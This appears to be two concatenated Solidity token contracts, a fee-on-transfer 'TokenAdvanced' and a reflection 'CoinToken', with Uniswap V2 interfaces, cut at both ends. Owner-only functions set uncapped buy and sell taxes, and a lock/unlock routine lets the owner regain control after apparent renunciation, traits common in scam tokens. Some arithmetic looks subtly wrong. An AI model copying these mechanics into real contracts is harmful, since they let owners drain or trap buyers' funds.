function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract TokenAdvanced is ERC20, Ownable {
// CONFIG START
uint256 private initialSupply;
uint256 private denominator = 100;
uint256 private swapThreshold = 0.0000005 ether; // The contract will only swap to ETH, once the fee tokens reach the specified threshold
uint256 private devTaxBuy;
uint256 private marketingTaxBuy;
uint256 private liquidityTaxBuy;
uint256 private charityTaxBuy;
uint256 private devTaxSell;
uint256 private marketingTaxSell;
uint256 private liquidityTaxSell;
uint256 private charityTaxSell;
address private devTaxWallet;
address private marketingTaxWallet;
address private liquidityTaxWallet;
address private charityTaxWallet;
// CONFIG END
mapping(address => bool) private excludeList;
mapping(string => uint256) private buyTaxes;
mapping(string => uint256) private sellTaxes;
mapping(string => address) private taxWallets;
bool public taxStatus = true;
IUniswapV2Router02 private uniswapV2Router02;
IUniswapV2Factory private uniswapV2Factory;
IUniswapV2Pair private uniswapV2Pair;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _supply,
address[5] memory _addr,
uint256[8] memory _value
) payable ERC20(_tokenName, _tokenSymbol) {
initialSupply = _supply * (10**18);
_setOwner(_addr[4]);
uniswapV2Router02 = IUniswapV2Router02(_addr[0]);
uniswapV2Factory = IUniswapV2Factory(uniswapV2Router02.factory());
uniswapV2Pair = IUniswapV2Pair(
uniswapV2Factory.createPair(address(this), uniswapV2Router02.WETH())
);
taxWallets["liquidity"] = _addr[2];
setBuyTax(_value[0], _value[1], _value[3], _value[2]);
setSellTax(_value[4], _value[5], _value[7], _value[6]);
setTaxWallets(_addr[1], _addr[2], _addr[3]);
payable(_addr[4]).transfer(msg.value);
_mint(msg.sender, initialSupply);
}
uint256 private marketingTokens;
uint256 private devTokens;
uint256 private liquidityTokens;
uint256 private charityTokens;
/**
* @dev Calculates the tax, transfer it to the contract. If the user is selling, and the swap threshold is met, it executes the tax.
*/
function handleTax(address from, address to, uint256 amount) private returns (uint256) {
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = uniswapV2Router02.WETH();
if(!isExcluded(from) && !isExcluded(to)) {
uint256 tax;
uint256 baseUnit = amount / denominator;
if(from == address(uniswapV2Pair)) {
tax += baseUnit * buyTaxes["marketing"];
tax += baseUnit * buyTaxes["dev"];
tax += baseUnit * buyTaxes["liquidity"];
tax += baseUnit * buyTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
} else if(to == address(uniswapV2Pair)) {
tax += baseUnit * sellTaxes["marketing"];
tax += baseUnit * sellTaxes["dev"];
tax += baseUnit * sellTaxes["liquidity"];
tax += baseUnit * sellTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * sellTaxes["marketing"];
devTokens += baseUnit * sellTaxes["dev"];
liquidityTokens += baseUnit * sellTaxes["liquidity"];
charityTokens += baseUnit * sellTaxes["charity"];
uint256 taxSum = marketingTokens + devTokens + liquidityTokens + charityTokens;
if(taxSum == 0) return amount;
uint256 ethValue = uniswapV2Router02.getAmountsOut(taxSum, sellPath)[1];
if(ethValue >= swapThreshold) {
uint256 startBalance = address(this).balance;
uint256 toSell = marketingTokens + devTokens + liquidityTokens / 2 + charityTokens;
_approve(address(this), address(uniswapV2Router02), toSell);
uniswapV2Router02.swapExactTokensForETH(
toSell,
0,
sellPath,
address(this),
block.timestamp
);
uint256 ethGained = address(this).balance - startBalance;
uint256 liquidityToken = liquidityTokens / 2;
uint256 liquidityETH = (ethGained * ((liquidityTokens / 2 * 10**18) / taxSum)) / 10**18;
_approve(address(this), address(uniswapV2Router02), liquidityToken);
(uint amountToken, ,) = uniswapV2Router02.addLiquidityETH{value: liquidityETH}(
address(this),
liquidityToken,
0,
0,
taxWallets["liquidity"],
block.timestamp
);
uint256 remainingTokens = (marketingTokens + devTokens + liquidityTokens + charityTokens) - (toSell + amountToken);
if(remainingTokens > 0) {
_transfer(address(this), taxWallets["dev"], remainingTokens);
}
if (marketingTokens > 0){
_transfer(address(this), taxWallets["marketing"], marketingTokens);
}
if (devTokens > 0){
_transfer(address(this), taxWallets["dev"], devTokens);
}
if(charityTokens > 0){
_transfer(address(this), taxWallets["charity"], charityTokens);
}
marketingTokens = 0;
devTokens = 0;
liquidityTokens = 0;
charityTokens = 0;
}
}
amount -= tax;
}
return amount;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
if (taxStatus) {
amount = handleTax(sender, recipient, amount);
}
super._transfer(sender, recipient, amount);
}
/**
* @dev Triggers the tax handling functionality
*/
function triggerTax() public onlyOwner {
handleTax(address(0), address(uniswapV2Pair), 0);
}
/**
* @dev Excludes the specified account from tax.
*/
function exclude(address account) public onlyOwner {
require(!isExcluded(account), "CoinToken: Account is already excluded");
excludeList[account] = true;
}
/**
* @dev Re-enables tax on the specified account.
*/
function removeExclude(address account) public onlyOwner {
require(isExcluded(account), "CoinToken: Account is not excluded");
excludeList[account] = false;
}
/**
* @dev Sets tax for buys.
*/
function setBuyTax(
uint256 dev,
uint256 marketing,
uint256 liquidity,
uint256 charity
) public onlyOwner {
buyTaxes["dev"] = dev;
buyTaxes["marketing"] = marketing;
buyTaxes["liquidity"] = liquidity;
buyTaxes["charity"] = charity;
}
/**
* @dev Sets tax for sells.
*/
function setSellTax(
uint256 dev,
uint256 marketing,
uint256 liquidity,
uint256 charity
) public onlyOwner {
sellTaxes["dev"] = dev;
sellTaxes["marketing"] = marketing;
sellTaxes["liquidity"] = liquidity;
sellTaxes["charity"] = charity;
}
/**
* @dev Sets wallets for taxes.
*/
function setTaxWallets(
address dev,
address marketing,
address charity
) public onlyOwner {
taxWallets["dev"] = dev;
taxWallets["marketing"] = marketing;
taxWallets["charity"] = charity;
}
/**
* @dev Enables tax globally.
*/
function enableTax() public onlyOwner {
require(!taxStatus, "CoinToken: Tax is already enabled");
taxStatus = true;
}
/**
* @dev Disables tax globally.
*/
function disableTax() public onlyOwner {
require(taxStatus, "CoinToken: Tax is already disabled");
taxStatus = false;
}
/**
* @dev Returns true if the account is excluded, and false otherwise.
*/
function isExcluded(address account) public view returns (bool) {
return excludeList[account];
}
}
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address public _owner;
address private _previousOwner;
uint256 public _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock.");
require(block.timestamp > _lockTime , "Contract is locked.");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract CoinToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
address public _devWalletAddress; // TODO - team wallet here
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
string private _name;
string private _symbol;
uint256 private _decimals;
uint256 public _taxFee;
uint256 private _previousTaxFee;
uint256 public _devFee;
uint256 private _previousDevFee;
uint256 public _liquidityFee;
uint256 private _previousLiquidityFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount;
uint256 public numTokensSellToAddToLiquidity;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (string memory _NAME, string memory _SYMBOL, uint256 _DECIMALS, uint256 _supply, uint256 _txFee,uint256 _lpFee,uint256 _DexFee,address routerAddress,address feeaddress,address tokenOwner) {
_name = _NAME;
_symbol = _SYMBOL;
_decimals = _DECIMALS;
_tTotal = _supply * 10 ** _decimals;
_rTotal = (MAX - (MAX % _tTotal));
_taxFee = _txFee;
_liquidityFee = _lpFee;
_previousTaxFee = _txFee;
_devFee = _DexFee;
_previousDevFee = _devFee;
_previousLiquidityFee = _lpFee;
_maxTxAmount = (_tTotal * 5 / 1000) * 10 ** _decimals;
numTokensSellToAddToLiquidity = (_tTotal * 5 / 10000) * 10 ** _decimals;
_devWalletAddress = feeaddress;
_rOwned[tokenOwner] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(routerAddress);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[tokenOwner] = true;
_isExcludedFromFee[address(this)] = true;
_owner = tokenOwner;
emit Transfer(address(0), tokenOwner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setDevFeePercent(uint256 devFee) external onlyOwner() {
_devFee = devFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) public onlyOwner {
_maxTxAmount = maxTxPercent * 10 ** _decimals;
}
function setDevWalletAddress(address _addr) public onlyOwner {
_devWalletAddress = _addr;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tDev, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tDev);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tDev = calculateDevFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tDev);
return (tTransferAmount, tFee, tLiquidity, tDev);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rDev = tDev.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rDev);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _takeDev(uint256 tDev) private {
uint256 currentRate = _getRate();
uint256 rDev = tDev.mul(currentRate);
_rOwned[_devWalletAddress] = _rOwned[_devWalletAddress].add(rDev);
if(_isExcluded[_devWalletAddress])
_tOwned[_devWalletAddress] = _tOwned[_devWalletAddress].add(tDev);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateDevFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_devFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
_previousTaxFee = _taxFee;
_previousDevFee = _devFee;
